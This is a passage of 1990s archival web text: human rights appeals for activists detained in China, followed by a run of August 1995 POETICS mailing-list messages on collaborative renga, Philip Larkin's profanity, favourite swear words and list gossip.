3. Kuo Le-zhuang studied in the Shanghai Transport University and was active in the student movement, bding a student leader of the university during the 86-87 student unrest. In a meeting with the then Shanghai Mayor, Jiang Zemin (now the President of china), Kuo critized Jiang harshly and thus won the respect of the students. When the student unrest was over, he was dismissed and went back to the countryside. In 1993, Li Wen-ming invited him to go to ShenZeng to do organizing work.

4. In June, 1993, Li and Kuo initiated a program to educate the workers about the poor labour conditions in the numerous factories in ShenZeng. In August, they started a Workers' Evening School, which attracted hundreds of workers to attend the courses. Then they planned to establish an independent trade union called the "Union of Labourers". (In China, independent trade unions are not allowed. There is only one union-the Official Trade Union controlled by the CCP).

5. In September, 1993, the ShenZeng Public Security Bureau took away some documents from their office. In October, under pressure from the PSB, they fled to Beijing. Then at the beginning of 94, both of them came back to start again..

6. In April, 1994, the PSB arrested them. To date, they are still detained incommunicado, with no charges pressed against them.

7. There are about a dozen core activists involved in the project. Two of them are Guo Bao-sheng, a student of the Chinese Poeple's University (Beijing) and Li Ming-qi of Beijing University. Both were dismissed for political reasons (that means they deviated from the party line and harboured 'libral' ideas). Guo was arrested at the same time with Li and Kuo while Li Ming-qi's whereabout has been unknown from then.

****
********** We appeal to you all to send protest messages to the Chinese Government to demand for the release of these activists who had done nothing but to exercise the freedom of speech and the right to associate.

Please send protest letters or messages to the Standing Committee, National Poeples' Congress, Beijing, China.

We would very much appreciate if you can pass the message to other labour organisations.
****
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~~~

immediate and unconditional release of Tong Yi. [See below for addresses individuals can write to calling for her release.]

Tong Yi, 27, was the former assistant and translator for China's most famous dissident, Wei Jingsheng, until her detention in April 1994 after informing foreign reporters about Wei's April 1, 1994 detention. On December 22, 1994, Tong was sentenced without trial to a two-and-a-half year Reeducation Through Labor term. She was sentenced under Article 10 (4) of the 1982 "Trial Implementation Methods for Reeducation Through Labor" which allows for the detention of individuals for up to three years without charge or trial for activities deemed to "disturb public order." Although the detention order did not specify what crime she was accused of, Tong Yi's only "crime" appears to be her association with Wei Jingsheng. Since her sentencing, Tong has been working 12-hour days in a textile workshop at the Hewan Reeducation Camp near her home in Wuhan, Hubei Province. In a letter smuggled out to her mother, Tong Yi described being beaten on January 16, 1995 by two camp inmates working as "trusties" assigned to assist the prison guards in keeping order. The beating occurred after Tong refused to work more than the eight hours per day stipulated by state regulations and complained about expectations that prisoners in the camp work until 10 p.m. or later to fulfill their production quotas. Tong asked camp officials for protection but was beaten the following day by more than ten fellow women prisoners. Her face and body were reportedly swollen and covered with bruises. In her letter, Tong Yi stated that she would work only eight hours, "even if they beat me to death." The letter also claimed that her written appeals against the inhumane conditions in the camp were repeatedly stolen or confiscated. Tong studied political science at the University of Political Science and Law in Beijing. She was active in the 1989 democracy movement on Tiananmen Square as part of the Student Dialogue Delegation and as a result was forced to leave the university befo graduating. She then worked with the dissident intellectual Cao Siyuan and translated China's Crisis into Chinese. The book, by Columbia University professor Andrew Nathan, examines the impact of the Beijing Massacre on the legitimacy of the Chinese Communist Party. Tong became an assistant for Wei Jingsheng upon his release from a 14-and-a-half year imprisonment in September 1993. For the following seven months she acted as a liaison between Wei and foreign diplomats and journalists. Tong Yi had been accepted to Columbia University for a master's program in political science, and upon her arrest Columbia President George Rupp made a direct appeal for her release. ---------- Write to the Chinese authorities and make them aware that you know about Tong Yi's situation and demand that she be released immediately or at least be allowed access to a lawyer of her choice to appeal her case in accordance with Chinese law.

Jiang Zemin (Greeting: His Excellency)
President
State Council
Beijing, PRC 100701
Fax: [redacted]-[redacted]

Li Peng (Greeting: His Excellency)
Premier
Guowuyuan
9 Xihuangchenggenbeijie
Beijing 100032
Fax: [redacted]-[redacted]

Tian Qiyu Zhang (Greeting: Dear Director)
Gonganting
Fujiapo, Wuchang
Wuhanshi 430070
Hubeisheng
People's Republic of China

HUMAN RIGHTS IN CHINA is a politically independent, non-profit organization founded by scholars and students from the People's Republic of China. HRIC's work involves documenting and publicizing human rights abuses in China, informing Chinese people about international human rights standards and the mechanisms by which these are enforced, and assisting those persecuted and imprisoned in the PRC for non-violent exercise of their fundamental rights and freedoms.
HRIC publishes the quarterly journal CHINA RIGHTS FORUM. For more information, email us at [redacted] or write to us at Human Rights in China, 485 Fifth Avenue, 3rd Floor, New York, NY 10017

~~~
~~~

++++ stop the execution of Mumia Abu-Jamal ++++
++++ if you agree copy these 3 sentences in your own sig ++++
++++ more info: http://www.xs4all.nl/~tank/spg-l/sigaction.htm ++++

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479. Gabrielle Welford
not a job announcement (fwd)
Sun 13 Aug 1995

To all:

The creative writing program at the University of Hawai'i does not advertise for its Visiting Distinguished Writers (as they are called), but it is possible to express interest in being one by writing to Prof. Robbie Shapard, Dept of English, 1733 Donaghho Road, U of Hawai'i, Honolulu, HI 96822. The positions are for one semester, and I have no idea what they pay (the going rate, I suspect). Because the process has been so mysterious, the writers have tended to be of a kind, which hasn't been so much a bad thing, as a predictable one. I, for one, would love to see people on this list apply. If anyone wants more information, I can muster it up.

Susan Schultz

Being as I'm here--Oh, please please please someone on this list apply!! That would be wicked pissa!

Gab.

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480. Rachel Loden
Larkin fucks again
Sun 13 Aug 1995

If it was a typo, it was habitual. This is from "High Windows":

When I see a couple of kids
And guess he's fucking her and she's
Taking pills or wearing a diaphragm,
I know this is paradise

Everyone old has dreamed of all their lives--
Bonds and gestures pushed to one side
Like an outdated combine harvester,
And everyone young going down the long slide

To happiness, endlessly...

It seems to me that anybody who whacked off as often as
Larkin did probably had the word "fuck" tattooed on his
brain--drab, wretched creature that he was...

Rachel Loden

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481. **Joseph Zitt**
Re: your mail
Sun 13 Aug 1995

On 13 Aug 95 at 12:32, Jorge Guitart wrote:

> On Sun, 13 Aug 1995, Charles Alexander wrote:
>
> > On Sat, 12 Aug 1995 22:53:48 -0700,
> > Sheila E. Murphy <[redacted]> wrote:
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> > >>!"
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> > >>> > the odor day toy a cello day dis chevys a bo coo daughter chose encore
> > >>> Flaubert because we're waiting all throughout eternity for moments to be
> > >> of such suchness. In the nooks were creams and in the streams were hooks.
> > >All melded like striated film leftover in the pastel seeds of darkness
> > composed with fetching strands, forwarding replies to deletion's aviary.
> That is our true memorial to Tic Douloureux. What is empery if you can't file your nails against a monarch? The veil of tears, swept away with
---------1---------1---------1---------1---------1---------1----------
|||/ Joseph Zitt ==== [redacted] ===== Human Systems \|||
||/ Organizer, SILENCE: The John Cage Mailing List \||
|/ Online Representative, Austin International Poetry Festival \|
/ <A HREF="http://www.realtime.net/~jzitt/"> Joe Zitt's Home Page</A>\

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482. **Jorge Guitart**

Re: your mail

Sun 13 Aug 1995

On Sat, 12 Aug 1995, Sheila E. Murphy wrote:

> *On Fri, 11 Aug 1995, Sheila E. Murphy wrote:*
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> *of such suchness. In the nooks were creams and in the streams were hooks.*
> *All melded like striated film leftover in the pastel seeds of darkness*
> *falling like a counterirritant around the manchineel. Likewise*

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483. **Jorge Guitart**

Re: your mail

Sun 13 Aug 1995

On Sun, 13 Aug 1995, Charles Alexander wrote:

> On Sat, 12 Aug 1995 22:53:48 -0700,
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> >>> >> sheila m writes:
> >>> >> > >On Thu, 10 Aug 1995, Louis Cabri wrote:
> >>> >> > >
> >>> >> > >> > In the books were dreams and in the dreams were books.
> >>> >> > >> > And flew through windows, lightning green and fine morning
> >>> >> > >> > First inverted whistle of a cardinal in the poplar
> >>> >> > >> > The book and the oboe on the grass under sun and cloud
> >>> >> > >> > Go endlessly, an obtuse Prussian blue, it binds
> >>> >> > >> > The caravan of windows to what they flee
> >>> >> > >> > These lace curtains, more gauze than bondage, more
> >>> >> > >> > Mollycoddled than aware, thin-spined and pebbling
> >>> >> > >> > but narrow in the waist or waspish Sunday years ago
> >>> >> > >> > Over coffee topped with whipped cream, the Times blowing
> >>> >> > >> > & opining, heavy humid air, cumulus amusing against the
> >>> >> > >> > bleached ribcage ripcorded into compassed wind
> >>> >> > >> > kissing the weatherwoman between her breasts as she
> >>> >> > >> > gives gracious problem: fanatical snacks, landscape of
> >>> >> > >> > flicka my best friend and the storm in the glass of water's
> >>> >> > >> > halfway pertinent incision we keep making safe for ignorance
> >>> >> > >> (inspection
> >>> >> > >> > denied for not knowing how credenza was meant) & neo-colonizing
> >>> >> > >> > pockets in small furniture intended house sequentially several
> >>> >> > >> > mountains away but it wasn't, you know, a big tango
> >>> >> > >> > when the attorney general came, selah hales said, "Dias, oh,ho,
> >>kook

> >>!"
> >>> >> > >Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco warehouse,
> >>> >> > curls
> >>> >> > >no ideas but the woven fabric the texture so to speak was at the dry
> >>> >> > cleaners
> >>> >> > piping hot and gloved-in somewhere unsalted, perched on prescience
> >>> >> the chair is sad, alas, and i've lusted tootles' livers
> >>> > the odor day toy a cello day dis chevys a bo coo daughter chose encore
> >>> Flaubert because we're waiting all throughout eternity for moments to be
> >> of such suchness. In the nooks were creams and in the streams were hooks.
> >All melded like striated film leftover in the pastel seeds of darkness
> composed with fetching strands, forwarding replies to deletion's aviary.
  That is our true memorial to Tic Douloureux. What is empery if you can't

↑ Index

484. Lisa Robertson
beardsley for lindz
Sun 13 Aug 1995

hi lindz,

one book I've read on Beardsley and his work in the context of a grotesque tradition in european art-- reaching back to greco-roman antiquity and forward to Bakhtin and "perverse erotics" -- is Ewa Kuryluk's Salome and Judas in the Cave of Sex: The Grotesque-- Origins, Iconography, Techniques. From Northwestern University Press, 1987. Many great illustrations from Beardsley and others, too.

best,
Lisa

↑ Index

485. David Kellogg
Re: Larkin fucks again
Sun 13 Aug 1995

On Sun, 13 Aug 1995, Rachel Loden wrote:

> *It seems to me that anybody who whacked off as often as Larkin did probably had the word "fuck" tattooed on his brain--drab, wretched creature that he was...*

I for one am suspicious of any attempt to correlate wretchedness with whack-off rate (damn near a critical myth in the case of Larkin). ;-) Let's find other causes for Larkin's asinine character, please.

Cheers,
David
~~~
~~~

487. Ryan Knighton
Re: furnished, remember?
Sun 13 Aug 1995

So, for those out there/in here who so energetically aided me with furnishing decisions, one has finally been made and engaged: I am putting things in places where they fit! Very arbitrary and spatially centred. Whew. We even have a Jesus ash-tray to be used on Sundays only. Thanks for the inspired and disfunctional suggestions.

best,
ryan

↑ Index

488. Louis Cabri
THANKYOU C.B. for the list, equal, that is...
Sun 13 Aug 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The caravan of windows to what they flee
These lace curtains, more gauze than bondage, more
Mollycoddled than aware, thin-spined and pebbling
but narrow in the waist or waspish Sunday years ago
Over coffee topped with whipped cream, the Times blowing
& opining, heavy humid air, cumulus amusing against the
bleached ribcage ripcorded into compassed wind
kissing the weatherwoman between her breasts as she
gives gracious problem: fanatical snacks, landscape of
the french language
    of a pubed cratylian vs.
baud a lair rate
    in ascii for it

↑ Index

489. Chris Stroffolino
Re: Larkin fucks again
Sun 13 Aug 1995

Dear David kellogg--for one who has a quote from THOMAS KINSELLA (gag) I'm REAL CURIOUS why you'd call Larkin assinine--isn't that kinda like the little fish calling the big fish "poison" (if you're i mean you'll pardon my french"------anne onimous....

↑ Index

490. Tony Green
Re: JG others and us
Sun 13 Aug 1995

I once had a mother-in-law who would say as a swear Sugar, but would also say when asked repeatedly what was for dinner: Shit with Sugar on. My favourite NZ adjective is "wretched" pronounced "ratshit. There's something awry with the time of postings from here, no sooner do I see my second favourite chook get on to a Renga, to wit, Foghorn Leghorn, when I nowhere see him now no more, incompany with a line that disappeared into oblivion. What is thees?

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

491. Sheila E. Murphy
Re: your mail
Mon 14 Aug 1995

>On Sat, 12 Aug 1995, Sheila E. Murphy wrote:
>
>> >On Fri, 11 Aug 1995, Sheila E. Murphy wrote:
>> >
>> >> >On Fri, 11 Aug 1995, maria damon wrote:
>> >> >
>> >> >> sheila m writes:
>> >> >> > >On Thu, 10 Aug 1995, Louis Cabri wrote:

>> >> >> > >
>> >> >> > >> > In the books were dreams and in the dreams were books.
>> >> >> > >> > And flew through windows, lightning green and fine morning
>> >> >> > >> > First inverted whistle of a cardinal in the poplar
>> >> >> > >> > The book and the oboe on the grass under sun and cloud
>> >> >> > >> > Go endlessly, an obtuse Prussian blue, it binds
>> >> >> > >> > The caravan of windows to what they flee
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>> >> >> > >> > Mollycoddled than aware, thin-spined and pebbling
>> >> >> > >> > but narrow in the waist or waspish Sunday years ago
>> >> >> > >> > Over coffee topped with whipped cream, the Times blowing
>> >> >> > >> > & opining, heavy humid air, cumulus amusing against the
>> >> >> > >> > bleached ribcage ripcorded into compassed wind
>> >> >> > >> > kissing the weatherwoman between her breasts as she
>> >> >> > >> > gives gracious problem: fanatical snacks, landscape of
>> >> >> > >> > flicka my best friend and the storm in the glass of water's
>> >> >> > >> > halfway pertinent incision we keep making safe for ignorance
>> >> >> > >> (inspection
>> >> >> > >> > denied for not knowing how credenza was meant) & neo-colonizing
>> >> >> > >> > pockets in small furniture intended house sequentially several
>> >> >> > >> > mountains away but it wasn't, you know, a big tango
>> >> >> > >> > when the attorney general came, selah hales said, "Dias, oh,ho,
>> kook
>> >!"
>> >> >> > >Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco warehous
>e,
>> >> >> > curls
>> >> >> > >no ideas but the woven fabric the texture so to speak was at the dry
>> >> >> > cleaners
>> >> >> > piping hot and gloved-in somewhere unsalted, perched on prescience
>> >> >> the chair is sad, alas, and i've lusted tootles' livers
>> >> > the odor day toy a cello day dis chevys a bo coo daughter chose encore
>> >> Flaubert because we're waiting all throughout eternity for moments to

be
>> > of such suchness. In the nooks were creams and in the streams were hooks.
>> All melded like striated film leftover in the pastel seeds of darkness
>> falling like a counterirritant around the manchineel. Likewise sandpaper juxtaposed with seasoned instruments and recently soft fruit

↑ Index

492. Susan Schultz
Rejected posting to [redacted] (fwd)
Mon 14 Aug 1995

I sent the messages on Corn's and Silliman's CAP-L exchange to Alfred Corn (a college teacher of mine). Here's his response.

Susan

---------- Forwarded message ----------
Date: Sun, 13 Aug 1995 16:25:43 -1000
From: Indepen <[redacted]>
To: Susan Schultz <[redacted]>
Subject: Rejected posting to [redacted] (fwd)

Dear Susan--Tried to send this but was rejected. Do you think you could forward it to them?
 ---------- Forwarded message ----------

Date: Sun, 13 Aug 1995 15:08:41 -0400 (EDT)
From: Indepen <[redacted]>
To: [redacted]
Subject: "Marketing strategies"

I was interested by a post forwarded to me about "marketing strategies" for concurrent poetic styles, which leads to the following connected series of questions:

(1) Is the purpose of the POETICS list to have a go at changing subscribers' thinking on questions of poetics, or simply to send a message pleasing to the speaker even if not designed or destined to change anyone's thinking?

(2) If the latter, then why not just skip the list and send it to oneself alone?

(3) If the purpose is to change subscribers' thinking, then why not present the sender's thinking on a particular style or poetry?

(4) Given how revealing metaphors are, which of the following metaphors best describes the process of changing the thinking of another person?

a. The lighting of one candle from another.

b. Selling, and the marketing strategies behind selling.

c. Infection--the propagation of a microbe or virus.

d. Coercion, the marshaling of intellectual troops to enforce correct thinking.

e. Seduction--attraction, effective endearments and caresses, leading to surrender.

f. Inebriation--conveyance of intellectual substances which erode resistance or blur argument.

g. Terrorism--dropping a bomb and taking advantage of the resulting fear and confusion to assume control.

h. A sermon leading to conversion

i. The banquet--setting out a dinner and declaring "Open House."

(5) Are there other metaphors that describe the process?

(6) Have there been instances of subscribers' changing their thinking on the basis of posts on POETICS? If so, how did it happen?

↑ Index

493. **Chris Stroffolino**
Re: Rejected posting to [redacted] (fwd)
Mon 14 Aug 1995

I'm readng Alfred Corn's posting to POETICS and wondering who it was a response to--perhaps Rachel...or maybe Herb Levy--though Levy's lengthy post did not really suggest "changing people's minds" so maybe that idea was a Corn intepolation. It sees to me that herb was less interested in changing people's minds than he was in wanting people to come out of the closet a little me and be willing to "define" themselves. But maybe that's a misreading too. As for myself, I'd like to see more of a attempt at such "definition" but I don't think a discussion of the work of somebody on the list would necessarily work---(esp. when there's a thread around still called "Jerry Garcia" which has nothing to say about its ostensible subject but "nifty" swear words)---in parts because then the list becomes subordinated to the published body of someone's work---for me, one of the values of the list is that to some extent it's AN ESCAPE from that, a possibility for a different mode of dialogue than "poetry" and "essay writing"--i still have some kind of faith in the possibility of "organic" "improvisation" or something among the rengas... And the possibilities of ISSUES that have come up here (such as metaphor, the self/the

soul,and others) seems more fruitful than bringing egos into it too much by discussing the work of a "big name" or career level (i meant "mid-career level"--mandel's term) or unknown poet---- Jordan Davis asked this question of what do we want to happen on this list awhile ago, and it's still an open question...I'm on a SHAKESPEARE list and though the arguments there are not so much analogous to the ones here (I.e.--not a matter of JONSON vs. SHAKESPEARE like OLSON vs. O'HARA) but there is HUGE division about critical approaches and/or temperaments (IF anyone still believes in that), and it's handeld for the most part very gracefully--..and maybe in the POETICS world "candor" is nothing but the title of a book by alan davies (though maria damon and others have been quite candid), and maybe this is due to fear of alienating potential supporters---I keep thinking of that thing in Midsummer Night's Dream where the actors are afraid that roaring like a lion will scare the audience...when of course even a VERY GOOD actor can not convincingly roar like a lion enough to scare, let alone THEM! (us)--or the dylan line about "the one who tries to hide what it don't know to begin with"-- And, MAYBE MAYBE dear Alfred Corn I'm just loving to hear myself speak-- (and this has gone on long even for me--but what the hell---) but since I don't always believe you have to try to change someon's mind in order not to "just hear yourself speak" it may be something else..... sloppily yours (unwinding),

chris s.

↑ Index

494. **Bill Luoma**

Re: Favorite swears and Seventies-Speak

Mon 14 Aug 1995

Willa,

I've always wanted to use the work fuck in a poem because it sounds so good. But it doesn't really work on the page. Or I haven't figured out a good way to use it. Anyone have a great fuck line?

I will use my favorite fuck swear in a sentence.
"You're a fuckstain."

Bill Luoma

↑ Index

495. keith
Re: Rejected posting to [redacted] (fwd)
Mon 14 Aug 1995

Re Corn's questions:

Mostly a lurker, the list lubricates me, usually early in the morning, with coffee.

I "change my thinking" every three thousand miles, or every three months, whichever comes first.

Others may be "points of light"--not quite a thousand--lit up on this chain- fuse.

In the spirit of metaphor,
Keith Tuma

↑ Index

496. I.LIGHTMAN
Re: Larkin fucks again
Mon 14 Aug 1995

Larkin also wrote poems that commit to memory, viz the following, from my own memory

> They fuck you up, your mum and dad.
> They may not mean to but they do.
> They hand on all the faults they had
> And add some new ones, just for you.
>
> But they were fucked up, in their turn,
> By fools in old-style hats and coats
> Who half the time were soppy-stern
> And half at one another's throats.
>
> Man hands on misery to man.
> It deepens like a coastal shelf.
> Get out as early as you can,
> And don't have any kids yourself.

This poem seems to me no less mordant and bitter than a Kurt Cobain lyric, yet I doubt he'll get called the names Larkin's getting called, though both have a talent we may mock but may envy of memorability, a whole piece staying in the mind, not necessarily because of an "internal logic" such as Ron has brilliantly analysed in The New Sentence, but sometimes wedding odd curiously-phrased line or noticed detail to each other, by the power of knowing and feeling for an oral form committable to memory. Plus, the use of the word "fuck" in this poem expertly connects with the other uses of the word "fuck" in Larkin's small

oeuvre, to demonstrate a man in some ways blunted as a child and dealing with adults and lovers in a trapped and unsensuous way because he has been made into a rhythm; this is not to say he treated his lovers, or those he came into contact with at Hull University Library, with brutality; it seems the fact of his biography that he was gentle and polite with them (though self-indulgent and morose with - often stupid - literary admirers), yet could not enjoy this gentle rhythm, felt it always to be an act. This still allows us a distinction between what his poems and letters may reveal of an inner life, a brutal despair, a racism (expressed privately and never mounted as a public act, such as refusing someone service or employment - a racism of which many writers who never write racism happen to practice) and how he acted. For Larkin's lovers there was such a thing as a caress, for him it was unenjoyable, terrifying, not a fuck. It seems to me that Clark Coolidge can do a terrific explosion of the word fuck in his _Book of During_, yet in the end it remains less interesting than Larkin's use of it, or just as. I get as annoyed reading unbacked-up sniping at Larkin as others do hearing people be snobby about pop music - is one saying that Larkin was wicked, that Larkin readers are wicked, that it's corrupting, or what? Why either Larkin or Language Poetry? Why not both?

Ira Lightman

↑ Index

497. **maria damon**
Re: JG others and us
Mon 14 Aug 1995

---

tony green writes:
> I once had a mother-in-law who would say as a swear Sugar, but would
> also say when asked repeatedly what was for dinner: Shit with Sugar
> on. My favourite NZ adjective is "wretched" pronounced "ratshit.
> There's something awry with the time of postings from here, no sooner
> do I see my second favourite chook get on to a Renga, to wit, Foghorn
> Leghorn, when I nowhere see him now no more, incompany with a line
> that disappeared into oblivion. What is thees?
>
you know, i too have renga anxiety, in the sense that i've noticed that most of the rengas i post a line on, w/ one exception, die immediately afterwards. this is giving me a complex! like, am i really THAT bad a poet? esp since i notice that the only one still extant that i have a line in is the one to which i contributed a homophonous translation of mallarme --not even my "own" stuff. what's a chook?--md

↑ Index

498. Tom Taylor
Shedding the Lurker Skin
Mon 14 Aug 1995

I've been here a couple of weeks, lurking, as they say, and looking over your shoulders. Nothing to persent myself with besides this: tap tap. But now I have a lot of stuff up on the net, through John Fowler's GRIST, and to further introduce myself, I invite you to my stuff. You may or may not like it, but there's room for everyone here, I think; my orientation is post. post language post modern hopefully post apocalypse (we are in it). I am also collecting material for a forthcoming project, The Vision Project (V GER), and my smail is PO Box 216 Oysterville WA 98641. At GRIST are a novella, Horndog; a long poetic aesthetic, The One, The Same, and The Other (spectacular diseases & texture press 1993); a self-explanatory I hope text, Superprose; and some other stuff. I welcome yr comments and enjoy yr conversation, especially on the proprietary qualities of sch wrds as yr, wd, sz, etc at neoOlsonisms, praps as economy as much as borrowings.... et tu Rengamatic?

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499. Louis Cabri
engulping flames of remorse
Mon 14 Aug 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The caravan of windows to what they flee
These lace curtains, more gauze than bondage, more
Mollycoddled than aware, thin-spined and pebbling
but narrow in the waist or waspish Sunday years ago
Over coffee topped with whipped cream, the Times blowing
& opining, heavy humid air, cumulus amusing against the
bleached ribcage ripcorded into compassed wind
kissing the weatherwoman between her breasts as she
gives gracious problem: fanatical snacks, landscape of
flicka my best friend and the storm in the glass of water's
halfway pertinent incision we keep making safe for ignorance
(inspection
denied for not knowing how credenza was meant) & neo-colonizing
pockets in small furniture intended house sequentially several
mountains away but it wasn't, you know, a big tango

when the attorney general came, selah
hales said, "Dias, oh,ho, kook!" Edward Kennedy
Ellington! "Tootin' Through the Roof" Tobacco warehouse, curls
no ideas but the woven fabric the texture so to speak was at the dry cleaners
piping hot and gloved-in somewhere unsalted, perched on prescience
the chair is sad, alas, and i've lusted tootles' livers
the odor day toy a cello day dis chevys a bo coo daughter chose encore
Flaubert because we're waiting all throughout eternity for moments to be
of such suchness. In the nooks were creams and in the streams were hooks.
All melded like striated film leftover in the pastel seeds of darkness
composed with fetching strands, forwarding replies to deletion's aviary.
That is our true memorial to Tic Douloureux. What is empery if you can't
file your nails against a monarch? The veil of tears, swept away with
the New Zealand lamb, nozzle out of control. Fired by the Supervisor, Meats as "Nothing Without You" ambiently croons. Lit ring around the panga, not

↑ Index

500. George Bowering
Re: your mail
Mon 14 Aug 1995

This is not fair! Some sneaky bastards are giving innocuous titles such as "Your mail" to rengas! How can an honest person delete them without looking if they're going to pretend to be something other than renga?

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501. George Bowering
Re: Favorite swears and Seventies-Speak
Mon 14 Aug 1995

I dont think anyone swears better than do the Australians. I like it when they call someone (even me) a "pisswit."

↑ Index

502. **George Bowering**
Re: "marketing strategies"
Mon 14 Aug 1995

Has someone explained what AWP means?

I thought maybe Angry White Poets. Nah.

Anne Waldman People? Probly not.

↑ Index

503. **George Bowering**
Re: West Coast Line
Mon 14 Aug 1995

Re Herb's question abt the new ish of West Coast Line. Nope, I think that the new issue is interesting all the way thru, but maybe that is because I edited the thing. It is the all-Canuck issue. The next issue is ed. by Peter Quartermain, and is the Brit issue. This one just out has terrific bpNichol stuff, Erin Moure, section on Roy Kiyooka, a weird series from Native woman named J.B.Joe, etc. Best intro to CanLit I can imagine.

↑ Index

504. **Gwyn McVay**
Re: "marketing strategies"
Mon 14 Aug 1995

I'd always heard that AWP stood for Average White Poets, although around the office it's usually Associated Weird Problems.

Gwyn,
at least one Anne Waldman Person in the office

↑ Index

505. **George Bowering**
Re: your mail
Mon 14 Aug 1995

Hey, Charlie, what the hell were in those books?>
> In the books were dreams and in the dreams were books.
> And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
> The book and the oboe on the grass under sun and cloud

> Go endlessly, an obtuse Prussian blue, it binds
> The caravan of windows to what they flee
> These lace curtains, more gauze than bondage, more
> Mollycoddled than aware, thin-spined and pebbling
> but narrow in the waist or waspish Sunday years ago
> Over coffee topped with whipped cream, the Times blowing
> & opining, heavy humid air, cumulus amusing against the
> bleached ribcage ripcorded into compassed wind
> kissing the weatherwoman between her breasts as she
> gives gracious problem: fanatical snacks, landscape of
> flicka my best friend and the storm in the glass of water's
> halfway pertinent incision we keep making safe for ignorance
> (inspection
> denied for not knowing how credenza was meant) & neo-colonizing
> pockets in small furniture intended house sequentially several
> mountains away but it wasn't, you know, a big tango
> when the attorney general came, selah hales said, "Dias, oh,ho,
> kook!"
> Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
> warehouse, curls
> no ideas but the woven fabric the texture so to speak was at the
> dry cleaners
> having recovered from the chemicals of deadlines drop stitched
> into
> the ball Kevin Mitchell bare
> handed. Baseball sold
> out. cash stricken striked.
> Would that as a poet I had
> the chance to do something like
>
> grace the outfield, hands bare
> from ringing, washing scales
> of passion's conformity never
> minding a green surface, far
> cry from eternity, kitchen table
>
> bleached down, a firecracker
> cold as the buckles on my sandals
> as the wesleyans come in the room
> and hang up their robes and go
> down to the fellowship hall
>

> the garcia posological convention already underway
> platform sonneteers
> reminisce those hash oil crisis years
> when every squib seemed damp & colon slack:
> get real, ya doofuses, the Blob is back
>

↑ Index

506. **George Bowering**
Re: Favorite swears and Seventies-Speak
Mon 14 Aug 1995

When George Stanley came back from his stretch in the army, he kept using what I took to be a southern expression" "Well, dog bite my pecker!"

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507. **Herb Levy**
Re: "marketing strategies"
Mon 14 Aug 1995

> *Thanks to Herb, Maria, Gwyn and Charles for there insights on "AWP"*
> *of course--if we want to prevent this discussion from lapsing into*

Chris -

Thanks for the thanks, but I don't even know what AWP is, so if I talked about it, it was by accident.

Herb Levy
[redacted]

↑ Index

508. **George Bowering**
Re: Mitchellmania, Harpermania
Mon 14 Aug 1995

Nope, Ozzie Smith never played for the Giants. But he did play in calif., for the Padres.

↑ Index

509. **Lindz Williamson**
Re: Favorite swears
Mon 14 Aug 1995

My Dad spent a bit of time in Monk's Corner, South Carolina and uses these great phrases like

"Kiss my rabid dog" and "Why you smilin like a wide eyed chessy cat?"

He also lived in Venezuala for seven years and pours out these great spanish curses, but I never know what exactly he's saying so I'll keep them to myself. I wouldm't want to offend anyone. But man, Spanish curses are beautiful.

Oh yeah and some of the best lines from mOvies are

"Why don't you go light your tampon on fire, and blow your box apart, cause that's the only bang you'll ever get."

The Adventures of Prisilla Queen of the Desert

"OUr love is God, let's go get a slushie" and "Fuck me gently with a Chainsaw."

Heathers

Lindz

↑ Index

510. **Susan Schultz**
Re: Mitchellmania, Harpermania
Mon 14 Aug 1995

NO, George, I meant that Mitchell caught Ozzie's fly ball, Ozzie being a member of the Cardinals. Susan

On Mon, 14 Aug 1995, George Bowering wrote:

> *Nope, Ozzie Smith never played for the Giants. But he did play in calif., for the Padres.*

↑ Index

511. **maria damon**
Re: Shedding the Lurker Skin
Mon 14 Aug 1995

---

tom taylor writes:
> post language post modern
> hopefully post apocalypse (we are in it).

yes --did u know that when robert duncan was adopted by the symmeses, they had an astrological chart drawn up for him that said, among other things, that he would witness the end of his own civilization during his lifetime? so the apocalypse must've happened before march 1988.--md

↑ Index

512. **maria damon**
Re: you're fe/mail?
Mon 14 Aug 1995

---

what i wanna know is, is lindz a man or woman? is gwyn a man or woman? are cris cheek and chris scheil men and/or women? why do i wanna know? i dunno!--md

↑ Index

513. **Jordan Davis.**
political song for michael jackson to sing
Mon 14 Aug 1995

I get embarrassed whenever I try to change anyone's opinion.

Jordan

↑ Index

514. **Lindz Williamson**
Re: you're fe/mail?
Tue 15 Aug 1995

On Mon, 14 Aug 1995, maria damon wrote:

> what i wanna know is, is lindz a man or woman? is gwyn a man or woman? are
> cris cheek and chris scheil men and/or women? why do i wanna know? i dunno!--md
>
It's kinda cool not knowing what someone is gender wise. But I always assumed that I pretty well betrayed myself by my responses and my language as being young and female.

Lindz is short for Lindsey Michelle Williamson. If you're Canadian you pronounce it like Bowering "Lindzed" if you're from south of the border it's "Lindzee", but my friends call me "Lins", rhymes with "Fins". Some interesting variations that have emerged are Lindzeloo-where-are you?, Lindzerella (when

I'm grumpy), Lindzard (when I'm being weird) Findzee (a sign of affection), and Fuckhead (specially reserved for when I'm being an idiot).

Lindz

↑ Index

515. David Beaudoin
Re: "marketing strategies"
Tue 15 Aug 1995

When I lookt up, George Bowering had writ large upon my screen:

> *Has someone explained what AWP means?*
>
> *I thought maybe Angry White Poets. Nah.*
>
> *Anne Waldman People? Probly not.*

August's weary puddle...

/d

~.
David Beaudouin in [redacted]
Baltimore, Maryland [redacted]
hon! vox/fax: [redacted]
~.

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516. David Beaudoin
Re: your mail
Tue 15 Aug 1995

When I lookt up, George Bowering had writ large upon my screene:

>This is not fair! Some sneaky bastards are giving innocuous titles
>such as "Your mail" to rengas! How can an honest person delete them
>without looking if they're going to pretend to be something other
>than renga?

George, it's renganomics: if everything's in the poem, the poem is everywhere.

/d, stillcranky

~.
David Beaudouin in [redacted]
Baltimore, Maryland [redacted]
hon! vox/fax: [redacted]
~.

↑ Index

517. Louis Cabri

you are male, g.b.

Tue 15 Aug 1995

Leaving the bat faster than I came to the plate, I says
to the screwball (wiseballs know everything,
